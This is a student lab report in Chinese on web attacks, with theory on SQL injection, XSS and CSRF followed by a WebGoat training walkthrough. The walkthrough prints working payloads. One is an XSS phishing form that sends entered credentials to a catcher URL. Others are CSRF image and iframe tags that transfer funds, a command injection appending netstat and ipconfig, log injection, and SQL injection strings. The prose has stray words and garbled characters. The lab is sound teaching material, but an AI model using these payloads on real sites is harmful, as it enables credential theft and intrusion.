1.SQL注入攻击原理,如何防护?html
防护:java
2.XSS攻击的原理,如何防护?git
原理:
攻击者利用网站漏洞(一般这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入能够显示在页面上的、对其余用户形成影响的HTML代码;因为受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本能够顺利执行,实现获取用户cookie并能够利用用户身份进行非法操做的目的。web
防护:
浏览器自身能够识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就须要网站开发者运用转义安全字符等手段。sql
一个原则:不相信用户输入的任何数据!数据库
3.CSRF攻击原理,如何防护?浏览器
原理:
CSRF就是冒名登陆。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,由于目前主流状况Session都是存在Cookie中.攻击者并不关心被害者具体账号和密码,由于一旦用户进行了登陆,Session就是用户的惟一凭证,只要攻击者可以获得Session,就能够假装成被害者进入服务器.
主要是当访问网站A时输入用户名和密码,在经过验证后,网站A产生Cookie信息并返回,此时登陆网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另外一个网站B,网站B可返回一些攻击性代码并请求访问网站A;所以在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,所以仍是会执行该恶意代码安全
使用“请求令牌”。首先服务器端要以某种策略生成随机字符串,做为令牌(token),保存在Session里。而后在发出请求的页面,把该令牌以隐藏域一类的形式,与其余信息一并发出。在接收请求的页面,把接收到的信息中的令牌与Session中的令牌比较,只有一致的时候才处理请求,不然返回 HTTP 403 拒绝请求或者要求用户从新登录验证身份。服务器
java -jar webgoat-container-7.1-war-exec.jar
开启WebGoat使用用默认用户名密码登陆cookie
在webgoat找到Cross-Site Scripting (xss)攻击打开第一个——Phishing with XSS
将下面这段代码输入到"Search:"输入框中,点击search;
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
会出现代码中所指定的绿、红、蓝三块div
下方出现用于欺骗用户的提示语“This feature requires account login:”和用户名、密码输入框
在登陆框中输入用户名、密码,eg:20155333 123456,点击登陆后,会像代码中alert提示的,显示被窃取的用户名和密码
<head> <body> <div> <div style="float:left;height:100px;width:50%;background-color:green;"></div> <div style="float:left;height:100px;width:50%;background-color:red;"></div> </div> <div style="background-color:blue;height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
提交后,下方“Message List”中会新增刚输入的Tile名字的连接
点击连接能够看到html已经注入成功,messege部分显示的是绿、红、蓝三色框
在下方用户名密码处输入,eg:20155333 123456
点击提交后,成功获取用户名和密码
打开xss的第三个攻击Reflected XSS Attacks
在“Enter your three digit access code:”中输入<script>alert("5333");</script>
点击Purchase,成功显示警告框,内容为咱们script脚本指定的内容
输入前面编写的脚本,一样会成功
打开Cross-Site Scripting (xss)攻击中的第四个:Cross Site Request Forgery(CSRF)
查看页面下方Parameters中的src和menu值,分别为2078372和900
<img src="http://localhost:8080/WebGoat/attack?Screen=803158781&menu=900&transferFunds=10000" width="1" height="1" />
,以图片的的形式将URL放进Message框,这时的URL对其余用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交提交后,在Message List中生成以Title命名的连接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的10000元,从而达到CSRF攻击的目的
打开Cross-Site Scripting (xss)攻击中的第五个:CSRF Prompt By-Pass
同攻击4,查看页面下侧Parameters中的src和menu值(1471017872和900),并在message框中输入代码:
<iframe src="attack?Screen= 1471017872&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen= 1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
在Message List中生成以Title命名的连接,点击进入后,攻击成功
按F12进入调试界面,选择Inspect...
对源代码进行修改。
在AccessControlMatrix.help
后面加上"& netstat -an & ipconfig"
点击view,便可查看命令执行结果
按F12进入调试界面,选择Inspect...
对源代码进行修改。
在选项列表中,任意选择一个值,好比“101”,后面加上or 1=1
输出以下
在username中填入5333%0d%0aLogin Succeeded for username: admin
,利用回车(0D%)和换行符(%0A)让其在日志中两行显示
点击Login,可见5333在Login Fail那行显示,添加的语句在下一行显示
攻击者能够利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员可以经过浏览器看到。好比,将admin <script>alert(document.cookie)</script>
做为用户名输入
在用户名处注入Smith' or 1=1 or 'a'='a
,这将会显示登陆系统的第一个用户。密码是必须的字段,能够任意输入,“登陆”可看到其余人的信息
在密码框输入' or 1=1 --
,登陆失败用Firebug查看网页源码,发现密码长度有限制
将密码长度maxlength改成100,再次尝试
登陆成功
择Injection Flaws中的String SQL Injection
输入查询的用户名Smith' or 1=1--
这样Smith 和1=1都成了查询的条件,而1=1是恒等式,这样就能select表里面的全部数据。
本课程最后一次实验,圆满结束!